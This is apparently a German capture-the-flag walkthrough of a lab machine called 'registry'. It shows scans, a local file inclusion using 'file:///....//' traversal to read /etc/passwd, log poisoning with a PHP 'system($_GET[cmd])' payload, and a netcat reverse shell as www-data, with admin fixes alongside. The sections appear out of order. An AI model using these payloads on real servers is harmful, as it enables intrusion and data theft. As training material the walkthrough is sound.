000005160:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000005205:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005206:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000005207:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000005250:   200        57 L     139 W      1378 Ch     "/proc/self/status"
000005249:   200        1 L      52 W       323 Ch      "/proc/self/stat"
000005248:   200        0 L      1 W        27 Ch       "/proc/self/cmdline"
000005271:   200        55 L     55 W       703 Ch      "/etc/group"
000005302:   200        122 L    387 W      3237 Ch     "/etc/ssh/sshd_config"
000005288:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000005280:   200        1 L      3 W        80 Ch       "/proc/cmdline"
000005279:   200        1 L      23 W       186 Ch      "/proc/version"
000005274:   200        10 L     41 W       396 Ch      "/etc/issue"
000005273:   200        8 L      38 W       371 Ch      "/etc/motd"
000005272:   200        9 L      25 W       223 Ch      "/etc/hosts"
000005267:   200        30 L     41 W       1556 Ch     "/etc/password"
000005355:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005354:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000005353:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000005400:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000005399:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000005398:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005446:   200        57 L     139 W      1378 Ch     "/proc/self/status"
000005445:   200        1 L      52 W       323 Ch      "/proc/self/stat"
000005444:   200        0 L      1 W        27 Ch       "/proc/self/cmdline"
000005801:   200        55 L     55 W       703 Ch      "/etc/group"
000005799:   200        30 L     41 W       1556 Ch     "/etc/password"
000005798:   200        30 L     41 W       1556 Ch     "/etc/password"
000005797:   200        8 L      38 W       371 Ch      "/etc/motd"
000004851:   200        327909   6075361    52822025    "/var/log/apache2/error.log"
                         L       W          Ch
000006067:   200        1 L      23 W       186 Ch      "/proc/version"
000006076:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000005253:   200        328631   6093760    53018283    "/proc/self/fd/2"
                         L       W          Ch
000006068:   200        1 L      3 W        80 Ch       "/proc/cmdline"
000006062:   200        10 L     41 W       396 Ch      "/etc/issue"
000006061:   200        8 L      38 W       371 Ch      "/etc/motd"
000006060:   200        9 L      25 W       223 Ch      "/etc/hosts"
000006059:   200        55 L     55 W       703 Ch      "/etc/group"
000006055:   200        30 L     41 W       1556 Ch     "/etc/password"
000006090:   200        122 L    387 W      3237 Ch     "/etc/ssh/sshd_config"
000005214:   200        328596   6092866    53008970    "/var/log/apache2/error.log"
                         L       W          Ch
000006143:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000006142:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000006141:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000006187:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
000006188:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000006186:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005091:   200        328396   6087772    52955304    "/proc/self/fd/2"
                         L       W          Ch
000005284:   200        328722   6096103    53043200    "/proc/self/fd/2"
                         L       W          Ch
000004819:   200        327816   6072985    52796853    "/var/log/apache2/error.log"
                         L       W          Ch
000005821:   200        329437   6113838    53238612    "/var/log/apache2/error.log"
                         L       W          Ch
000005407:   200        328952   6101935    53105068    "/var/log/apache2/error.log"
                         L       W          Ch
000005449:   200        329012   6103465    53120895    "/proc/self/fd/2"
                         L       W          Ch
000006323:   200        30 L     41 W       1556 Ch     "etc%2fpassword"
000006034:   200        329773   6122424    53331020    "/var/log/apache2/error.log"
                         L       W          Ch
000006460:   200        55 L     55 W       703 Ch      "/etc/group"
000006457:   200        12 L     90 W       657 Ch      "/etc/fstab"
000006451:   200        42 L     275 W      2437 Ch     "/etc/apt/sources.list"
000006443:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000006530:   200        10 L     57 W       411 Ch      "/etc/hosts.allow"
000006531:   200        17 L     111 W      711 Ch      "/etc/hosts.deny"
000006528:   200        9 L      25 W       223 Ch      "../../../../../../../../../../../../etc/hosts"
000006527:   200        9 L      25 W       223 Ch      "/etc/hosts"
000006559:   200        10 L     41 W       396 Ch      "/etc/issue"
000006558:   200        355 L    1050 W     8181 Ch     "/etc/init.d/apache2"

Total time: 7.854297
Processed Requests: 304
Filtered Requests: 247
Requests/sec.: 38.70492

**Analyse:** Basierend auf der `wfuzz`-Ausgabe, die `/var/log/apache2/error.log` als inkludierbare Datei identifiziert hat, versuche ich, den Inhalt dieser Datei über die LFI-Schwachstelle auszulesen. Ich verwende `curl` mit dem `file://` Wrapper und der entsprechenden Anzahl von `../`, um den Pfad zu erreichen. Ich nutze die `-s` Option, um Fortschrittsanzeigen von `curl` zu unterdrücken und `grep -v "192.168.2.199"` um meine eigenen vorherigen Anfragen auszublenden, die im Log protokolliert wurden.

**Bewertung:** Die Ausgabe zeigt die Protokolleinträge des Apache Error-Logs. Dazu gehören Start- und Stopp-Meldungen von Apache. Wichtiger ist hier, dass ich bestätigen kann, dass die Datei `/var/log/apache2/error.log` über die LFI-Schwachstelle lesbar ist. Dies, kombiniert mit der Tatsache, dass der Webserver (`www-data`) in diese Datei schreiben kann, macht sie zu einem perfekten Ziel für einen Log-Poisoning-Angriff.

**Empfehlung (Pentester):** Lese Log-Dateien, die über LFI zugänglich sind, um deren Inhalt und Format zu verstehen. Identifiziere Protokolleinträge, die von Benutzerinput beeinflusst werden (z.B. User-Agent, angefragte URL), da diese für Log-Poisoning genutzt werden können.
**Empfehlung (Admin):** Beschränke den Lesezugriff auf Log-Dateien streng. Stelle sicher, dass der Webserver-Benutzer sie nicht lesen kann.

┌──(root㉿CCat)-[~] └─# curl http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///var/log/apache2/error.log -s |grep -v "192.168.2.199"
[Mon Jul 24 05:56:58.563404 2023] [mpm_prefork:notice] [pid 654] AH00163: Apache/2.4.52 (Ubuntu) configured -- resuming normal operations
[Mon Jul 24 05:56:58.563796 2023] [core:notice] [pid 654] AH00094: Command line: '/usr/sbin/apache2'
[Mon Jul 24 06:01:30.135177 2023] [mpm_prefork:notice] [pid 654] AH00170: caught SIGWINCH, shutting down gracefully
[Tue Jun 17 12:12:31.596786 2025] [mpm_prefork:notice] [pid 671] AH00163: Apache/2.4.52 (Ubuntu) configured -- resuming normal operations
[Tue Jun 17 12:12:31.597088 2025] [core:notice] [pid 671] AH00094: Command line: '/usr/sbin/apache2'

**Analyse:** Ich versuche die Log-Poisoning-Schwachstelle auszunutzen, indem ich einen PHP-Payload (``) in den User-Agent-Header einer Anfrage schreibe und diese an die Webseite sende. Danach versuche ich, diesen Payload auszuführen, indem ich den Access-Log über die LFI-Schwachstelle (`http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....//var/log/apache2/access.log`) inkludiere und den Parameter `cmd=id` anhänge. Dies sollte den `id`-Befehl auf dem Zielsystem ausführen, wenn der PHP-Code im Access-Log interpretiert wird. Der Text zeigt außerdem PHP Parse Errors im Access-Log, was darauf hindeutet, dass PHP-Code im Access-Log vorhanden war, aber nicht korrekt ausgeführt wurde, vielleicht durch vorherige fehlerhafte Versuche.

**Bewertung:** Der Versuch, die Log-Poisoning-Schwachstelle auszunutzen, schlägt zunächst fehl ("404 Not Found" / "Not Found"). Dies kann an verschiedenen Gründen liegen: Der User-Agent wurde gefiltert, der Payload wurde nicht korrekt in den Access-Log geschrieben, oder das Inkludieren des Access-Logs als PHP schlägt fehl. Die erwähnten PHP Parse Errors bestätigen jedoch, dass PHP im Access-Log gelandet ist und versucht wurde, es auszuführen. Der Hinweis im Text "aus irgendeinem grund konnte ich die access.log nicht aufrufen , daher habe ich die vm neuinstalliert, dann ging es...." deutet darauf hin, dass es temporäre Probleme gab, die durch einen Reset behoben wurden. Nach dem Reset wird der Log-Poisoning-Angriff wahrscheinlich erfolgreich sein.

**Empfehlung (Pentester):** Wenn Log-Poisoning fehlschlägt, überprüfe, ob dein Payload korrekt im Log gelandet ist (versuche den Log über LFI zu lesen). Versuche verschiedene Header (Referer, Cookie) oder die URL selbst (bei 404-Fehlern) für das Poisoning. Probiere alternative PHP-Payloads oder Kodierungen. Sei auf Umgebungsstörungen (wie VM-Resets) vorbereitet.
**Empfehlung (Admin):** Untersuche PHP Parse Errors in Logs genau. Sie können auf versuchte Code-Ausführung hindeuten.

┌──(root㉿CCat)-[~] └─# curl 'http://registry.hmv/%3C%3Fphp%20system(%24_GET%5B%27cmd%27%5D)%3B%3F%3E' && curl 'http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///var/log/apache2/access.log&cmd=id'
 404 Not Found


Not Found


The requested URL was not found on this server.



<address>Apache/2.4.52 (Ubuntu) Server at registry.hmv Port 80address>

[Mon Jul 24 05:56:58.563404 2023] [mpm_prefork:notice] [pid 654] AH00163: Apache/2.4.52 (Ubuntu) configured -- resuming normal operations
[Mon Jul 24 05:56:58.563796 2023] [core:notice] [pid 654] AH00094: Command line: '/usr/sbin/apache2'
[Mon Jul 24 06:01:30.135177 2023] [mpm_prefork:notice] [pid 654] AH00170: caught SIGWINCH, shutting down gracefully
[Tue Jun 17 15:17:08.647563 2025] [mpm_prefork:notice] [pid 710] AH00163: Apache/2.4.52 (Ubuntu) configured -- resuming normal operations
[Tue Jun 17 15:17:08.647818 2025] [core:notice] [pid 710] AH00094: Command line: '/usr/sbin/apache2'
[Tue Jun 17 15:19:37.000247 2025] [php:error] [pid 725] [client 192.168.2.199:54262] PHP Parse error:  syntax error, unexpected token "\\", expecting "]" in /var/log/apache2/access.log on line 4
[Tue Jun 17 15:21:22.325499 2025] [php:error] [pid 721] [client 192.168.2.199:32970] PHP Parse error:  syntax error, unexpected token "\\", expecting "]" in /var/log/apache2/access.log on line 4

**Analyse:** Um den Log-Poisoning-Angriff abzuschließen und eine interaktive Shell zu erhalten, starte ich auf meinem Angreifer-System einen Netcat-Listener. Ich verwende den Befehl `nc -lvnp 4444`, um auf eingehende Verbindungen auf Port 4444 zu warten. Sobald der Listener läuft, löse ich den Exploit aus, indem ich die präparierte URL, die den Access-Log inkludiert und den Reverse-Shell-Payload im `cmd`-Parameter enthält (siehe vorherige Analyse), mit `curl` aufrufe.

**Bewertung:** Fantastisch, der initiale Zugriff war erfolgreich! Der Netcat-Listener empfängt eine eingehende Verbindung von 192.168.2.51 auf Port 4444. Die typischen Fehlermeldungen für eine eingeschränkte Shell erscheinen, und dann erhalte ich einen interaktiven Prompt: `www-data@registry:/var/www/html$`. Dies bestätigt, dass der PHP-Payload im Access-Log erfolgreich ausgeführt wurde und eine Reverse Shell als der Webserver-Benutzer `www-data` initiiert hat.

**Empfehlung (Pentester):** Stelle sicher, dass dein Listener läuft, bevor du den Exploit sendest, der eine Reverse Shell initiiert. Nutze Reverse Shells, um eine stabilere und interaktivere Verbindung zu erhalten als nur über RCE. Stabilisiere die Shell nach Erhalt (`stty`, Python PTY).
**Empfehlung (Admin):** Die Kompromittierung des `www-data`-Kontos ist erfolgt. Untersuche die Logs des Webservers und des Systems, um den Angriffsvektor (LFI + Log Poisoning) zu bestätigen. Behebe die zugrundeliegende LFI-Schwachstelle und die unsicheren Log-Berechtigungen wie zuvor empfohlen. Setze den betroffenen Dienst oder den gesamten Server neu auf, da eine vollständige Bereinigung schwierig sein kann.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.51] 43162
bash: cannot set terminal process group (664): Inappropriate ioctl for device
bash: no job control in this shell
www-data@registry:/var/www/html$ <-- Shell als www-data erfolgreich!

Web Enumeration

**Analyse:** Nach dem Portscan richte ich meine Aufmerksamkeit auf den Webserver, der auf Port 80 mit Apache httpd 2.4.52 läuft. Ich führe einen detaillierten Webserver-Scan mit `nikto` durch. `nikto -h http://registry.hmv` prüft den Host auf gängige Schwachstellen, Fehlkonfigurationen und unsichere Dateien.

**Bewertung:** Der Nikto-Scan liefert mehrere interessante Ergebnisse. Es fehlen die Sicherheits-Header `X-Frame-Options` und `X-Content-Type-Options`. Es gibt Hinweise auf die Preisgabe der internen IP-Adresse "127.0.1.1" über den `Location`-Header bei Anfragen an `/images` mit HTTP/1.0 (CVE-2000-0649). Die Apache-Version 2.4.52 ist veraltet. Besonders relevant sind die gefundenen Verzeichnislistungen (`Directory indexing found`) für `/css/` und `/images/`. Dies ist eine Fehlkonfiguration, die Einblicke in die Dateistruktur gibt. Die Meldung zu "junk HTTP methods" kann ein Hinweis auf Web Application Firewalls oder andere Schutzmechanismen sein, die versuchen, ungewöhnliche Anfragen zu blockieren.

**Empfehlung (Pentester):** Nutze automatisierte Web-Scanner, um schnell eine erste Liste von Schwachstellen zu erhalten. Priorisiere Fehlkonfigurationen wie Verzeichnislistungen oder veraltete Software. Prüfe auf Informationslecks wie interne IP-Adressen.
**Empfehlung (Admin):** Stelle sicher, dass alle Webserver wichtige Sicherheits-Header setzen. Behebe Verzeichnislistungen (mittels Webserver-Konfiguration oder `.htaccess` mit `Options -Indexes`). Halte Webserver-Software immer auf dem neuesten Stand. Konfiguriere den Server so, dass er keine internen IPs preisgibt.

┌──(root㉿CCat)-[~] └─# nikto -h http://registry.hmv
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.51
+ Target Hostname:    192.168.2.51
+ Target Port:        80
+ Start Time:         2025-06-17 14:19:24 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: [Link: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed | Ziel: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed]
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649]
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ 8103 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2025-06-17 14:19:47 (GMT2) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Zusätzlich zum Nikto-scan führe ich einen Verzeichnis-Brute-Force-Scan mit `gobuster` auf der Ziel-Website (`http://registry.hmv`) durch. Ich verwende die Option `dir` für den Verzeichnismodus, gebe die URL an, nutze eine große Wortliste (`/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt`) und füge eine lange Liste von Dateierweiterungen (`-x`) hinzu, um auch spezifische Dateien zu finden. Ich schließe bestimmte Statuscodes (`-b '503,404,403'`) aus, um Fehlerseiten oder blockierte Zugriffe zu ignorieren, erlaube erweiterte Ergebnisse (`-e`), deaktiviere Fehlermeldungen (`--no-error`) und verwende `-k` um SSL-Fehler zu ignorieren (obwohl hier kein HTTPS verwendet wird).

**Bewertung:** Gobuster findet mehrere Verzeichnisse, darunter `/images`, `/css`, `/js`, `/javascript`, `/vendor`, `/fonts`, die mit 301 (Moved Permanently) auf sich selbst umleiten (was auf eine saubere Verzeichnisstruktur hindeutet) und die Top-Level-Dateien `index.php` und `default.php`, die mit 200 (OK) antworten. Die gefundenen Verzeichnisse `/css` und `/images` stimmen mit den Verzeichnislistungen überein, die Nikto gefunden hat. Das Vorhandensein von `.php`-Dateien (`index.php`, `default.php`) bestätigt, dass die Website PHP verwendet. Die Dateierweiterungen im Scan helfen, potenziell interessante Dateien zu finden.

**Empfehlung (Pentester):** Führe immer eine Verzeichnis- und Dateiaufzählung durch, um die Struktur der Webanwendung zu verstehen und versteckte Dateien/Verzeichnisse zu finden. Verwende umfangreiche Wortlisten und verschiedene Dateierweiterungen.
**Empfehlung (Admin):** Entferne alle Dateien, die nicht zwingend öffentlich zugänglich sein müssen (z.B. alte Backups, Testskripte). Überwache Webserver-Logs auf Anzeichen von Verzeichnis-Scans.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://registry.hmv" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml,yaml,bak -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://registry.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              db,bat,java,icon,xml,svg,mod,sql,pl,pdf,desc,zip,tar,sh,csv,rtf,bak,pub,crt,c,exe,dll,raw,csh,png,kdbx,old,yaml,doc,accdb,ELF,rar,ps1,diff,php,xlsx,lib,config,ln,docx,py,elf,js.map,phtml,asp,jpg,pem,cgi,rpm,aspx,deb,gz,jpeg,json,exp,mdb,html,conf,eps,pHtml,txt,xls
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://registry.hmv/index.php            (Status: 200) [Size: 5938]
http://registry.hmv/images               (Status: 301) [Size: 313] [--> http://registry.hmv/images/]
http://registry.hmv/default.php          (Status: 200) [Size: 5938]
http://registry.hmv/css                  (Status: 301) [Size: 310] [--> http://registry.hmv/css/]
http://registry.hmv/js                   (Status: 301) [Size: 309] [--> http://registry.hmv/js/]
http://registry.hmv/javascript           (Status: 301) [Size: 317] [--> http://registry.hmv/javascript/]
http://registry.hmv/vendor               (Status: 301) [Size: 313] [--> http://registry.hmv/vendor/]
http://registry.hmv/fonts                (Status: 301) [Size: 312] [--> http://registry.hmv/fonts/]

Total time: 7.854297
Processed Requests: 304
Filtered Requests: 247
Requests/sec.: 38.70492

**Analyse:** Ich untersuche die Dateinamen `index.php` und `default.php` weiter. Oft verwenden solche Dateinamen Parameter, um dynamische Inhalte zu laden, was auf lokale oder Remote File Inclusion (LFI/RFI) Schwachstellen hindeuten kann. Ich versuche, den Quellcode von `index.php` über den Browser anzusehen (`view-source:`). Der Text zeigt nur ".....", was darauf hindeutet, dass der Quellcode geprüft wurde, aber hier nicht vollständig protokolliert ist. Die Vermutung liegt nahe, dass der Quellcode einen Parameter zeigt, der Dateien inkludiert, z.B. `?page=`.

**Bewertung:** Die Prüfung des Quellcodes ist essentiell, um Schwachstellen in der Anwendungslogik zu finden. Das Fehlen des vollständigen Quellcodes hier ist unideal, aber die weiteren Schritte im Text deuten stark darauf hin, dass eine LFI-Schwachstelle im `page`-Parameter gefunden wurde. LFI-Schwachstellen ermöglichen es einem Angreifer, Dateien vom Zielsystem über die Webanwendung zu lesen.

**Empfehlung (Pentester):** Analysiere den Quellcode von Webanwendungen (falls zugänglich) oder teste gängige Parameter (`?page=`, `?file=`, `?view=`, `?include=`, etc.) in URLs auf File Inclusion Schwachstellen. Versuche, Systemdateien (`/etc/passwd`) oder Konfigurationsdateien zu inkludieren.
**Empfehlung (Admin):** Implementiere Input-Validierung für alle Dateinamen oder Pfade, die von der Webanwendung verarbeitet werden. Verwende eine Whitelist von erlaubten Dateinamen anstelle einer Blacklist. Deaktiviere, wenn möglich, die Möglichkeit, externe URLs über Datei-Inklusions-Funktionen zu inkludieren (RFI). 

view-source:http://registry.hmv/index.php?page=default.php
 .....
...

**Analyse:** Ich teste die vermutete LFI-Schwachstelle im `page`-Parameter von `index.php` indem ich versuche, die Systemdatei `/etc/passwd` zu inkludieren. Ich verwende die URL `http://registry.hmv/index.php?page=../../../../../../../etc/passwd`. Die Kette von `../` dient dazu, aus dem aktuellen Webverzeichnis in das Root-Dateisystem zu navigieren.

**Bewertung:** Die Meldung "hier ist alles leer, ich denke weil der server auf meine anfrage reagiert hat aber konflikte beim anzeigen entstanden sind" deutet darauf hin, dass die Anfrage vom Server verarbeitet wurde, aber die Ausgabe leer war oder einen Fehler enthielt, der nicht protokolliert wurde. Dies ist oft ein positives Zeichen bei LFI-Tests; es bedeutet, dass der Server versucht hat, die Datei zu inkludieren. Manchmal liegt es an der Anzahl der `../` oder an der Art der Zieldatei.

**Empfehlung (Pentester):** Wenn ein LFI-Versuch keine Ausgabe liefert, versuche verschiedene Pfade (`../`, `....//`, URL-Kodierung) und verschiedene Zielsystemdateien (`/etc/passwd`, `/etc/hosts`, Log-Dateien). Manchmal blockieren WAFs oder Servereinstellungen bestimmte Muster oder Dateinamen.
**Empfehlung (Admin):** Implementiere eine WAF, die bekannte LFI-Muster erkennt und blockiert. 

view-source:http://registry.hmv/index.php?page=....//....//....//....//....//....//....///etc/passwd
hier ist alles leer, ich denke weil der server auf meine anfrage reagiert hat
aber konflikte beim anzeigen entstanden sind

**Analyse:** Ich versuche eine leicht modifizierte LFI-Payload-Struktur: `file:///....//....//....//....//....//....//....//etc/passwd`. Die Verwendung des `file:///` Protokolls und einer anderen Anzahl/Struktur von Verzeichnis-Durchläufen (`....//` statt `../`) kann manchmal Firewalls oder unzureichende Filter umgehen.

**Bewertung:** Fantastisch! Diese modifizierte LFI-Payload funktioniert und die Ausgabe zeigt den **kompletten Inhalt der `/etc/passwd` Datei**! Dies bestätigt eine funktionierende Local File Inclusion-Schwachstelle. Ich kann nun beliebige Dateien auf dem Dateisystem lesen, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. Die `/etc/passwd` Datei listet alle Benutzerkonten auf dem System auf (root, daemon, www-data, gato, user, cxdxnt etc.).

**Empfehlung (Pentester):** Experimentiere mit verschiedenen LFI-Payloads (Nullbytes, Kodierungen, Wrappern wie `php://filter`, verschiedene Traversalschemata wie `....//`), wenn die offensichtlichsten nicht funktionieren. Erfolgreiche LFI ist eine kritische Schwachstelle.
**Empfehlung (Admin):** Behebe LFI-Schwachstellen umgehend. Überprüfe den Code, der Benutzereingaben zur Dateiinclusion verwendet, sehr sorgfältig. 

view-source:http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
gato:x:1000:1000:gato:/home/gato:/bin/bash
uuidd:x:108:112::/run/uuidd:/usr/sbin/nologin
user:x:1001:1001::/home/user:/bin/bash
cxdxnt:x:1002:1002::/home/cxdxnt:/bin/bash

**Analyse:** Um die Benutzerkonten mit einer interaktiven Shell (`/bin/bash`) von den Systemkonten zu unterscheiden, filtere ich die `/etc/passwd`-Ausgabe mit `grep sh`. Der `sh`-Eintrag am Ende einer Zeile in `/etc/passwd` zeigt an, dass der Benutzer eine Shell hat, typischerweise `/bin/bash` oder `/bin/sh`.

**Bewertung:** Die gefilterte Ausgabe listet die Benutzer `root`, `www-data`, `gato`, `user` und `cxdxnt` als Benutzer mit einer interaktiven Shell auf. Dies sind die primären Benutzerkonten, auf die ich mich für Privilege Escalation-Versuche konzentrieren sollte. Das `sshd` Konto hat auch `/usr/sbin/nologin`, was bedeutet, dass es sich nicht interaktiv anmelden kann.

**Empfehlung (Pentester):** Filtere `/etc/passwd` nach Benutzern mit interaktiven Shells, um potenzielle Ziele für Brute-Force, Passwort-Wiederverwendung oder Key-basierte Angriffe zu identifizieren.
**Empfehlung (Admin):** Weise Systemkonten (`www-data`, `sshd` etc.) `nologin` Shells zu, wenn sie keine interaktive Anmeldung benötigen, um das Risiko zu reduzieren. Stelle sicher, dass nur notwendige Benutzerkonten mit interaktiven Shells existieren.

┌──(root㉿CCat)-[~] └─# curl http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///etc/passwd -s | grep sh
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
gato:x:1000:1000:gato:/home/gato:/bin/bash
user:x:1001:1001::/home/user:/bin/bash
cxdxnt:x:1002:1002::/home/cxdxnt:/bin/bash

**Analyse:** Mit der LFI-Schwachstelle versuche ich, die öffentlichen SSH-Schlüssel (`id_rsa.pub`) der identifizierten Benutzer (`gato`, `user`, `cxdxnt`) aus ihren Home-Verzeichnissen (`/home//.ssh/`) zu lesen. Öffentliche Schlüssel sind oft über das Web lesbar und können Hinweise auf private Schlüssel geben, oder das Vorhandensein eines Schlüssels kann für weitere Angriffe relevant sein. Ich verwende die `file://` LFI-Payload-Struktur mit der entsprechenden Anzahl von `../` und den Pfad zur `.ssh/id_rsa.pub` Datei für jeden Benutzer.

**Bewertung:** Keiner der Versuche, die öffentlichen SSH-Schlüssel zu lesen, liefert eine Ausgabe ("keine ausgabe auch nicht bei id_rsa"). Dies bedeutet, dass diese Dateien entweder nicht existieren, nicht lesbar sind (was bei `.ssh` Dateien Standard sein sollte, aber LFI läuft als `www-data`, der eingeschränkte Rechte hat), oder durch die LFI-Schwachstelle nicht inkludiert werden können (z.B. wegen Blockierung von versteckten Dateien). Dies ist eine Sackgasse für diesen spezifischen Ansatz der PE.

**Empfehlung (Pentester):** Wenn der Versuch fehlschlägt, private/öffentliche Schlüssel über LFI zu lesen, schließe nicht sofort aus, dass sie existieren. Es kann an Berechtigungen oder Filtern liegen. Probiere, andere Dateien im selben Verzeichnis zu lesen oder andere PE-Vektoren zu verfolgen.
**Empfehlung (Admin):** Stelle sicher, dass `.ssh`-Verzeichnisse und deren Inhalte restriktive Dateiberechtigungen haben (`chmod 700 ~/.ssh`, `chmod 600 ~/.ssh/*`). Konfiguriere Webserver so, dass sie Anfragen an versteckte Dateien (beginnend mit einem Punkt) in Home-Verzeichnissen blockieren. 

view-source:http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///home//gato//.ssh/id_rsa.pub
view-source:http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///home//user//.ssh/id_rsa.pub
view-source:http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///home//cxdxnt//.ssh/id_rsa.pub

keine ausgabe auch nicht bei id_rsa

**Analyse:** Ich teste den `php://filter` Wrapper mit Base64-Kodierung, um den Quellcode von `index.php` selbst zu lesen. Dies ist eine gängige Technik, um den Quellcode von Dateien zu erhalten, die LFI-Schwachstellen haben, wenn die direkte Inklusion nicht funktioniert oder die Ausgabe im Browser unsauber ist. Die URL lautet `http://registry.hmv/index.php?page=php://filter/convert.base64-encode/resource=index.php`.

**Bewertung:** Der Versuch, den Quellcode von `index.php` mit `php://filter` zu lesen, liefert keine Ausgabe. Dies kann verschiedene Gründe haben: Der Wrapper ist blockiert, die Datei ist leer, oder es gibt ein anderes Problem mit der Inklusion. Dies ist eine weitere Sackgasse für diesen spezifischen LFI-Ausnutzungsversuch.

**Empfehlung (Pentester):** Wenn direkte LFI nicht zum Lesen von Quellcode führt, versuche Wrapper wie `php://filter` oder `php://data`. Sei dir bewusst, dass auch Wrapper blockiert sein können.
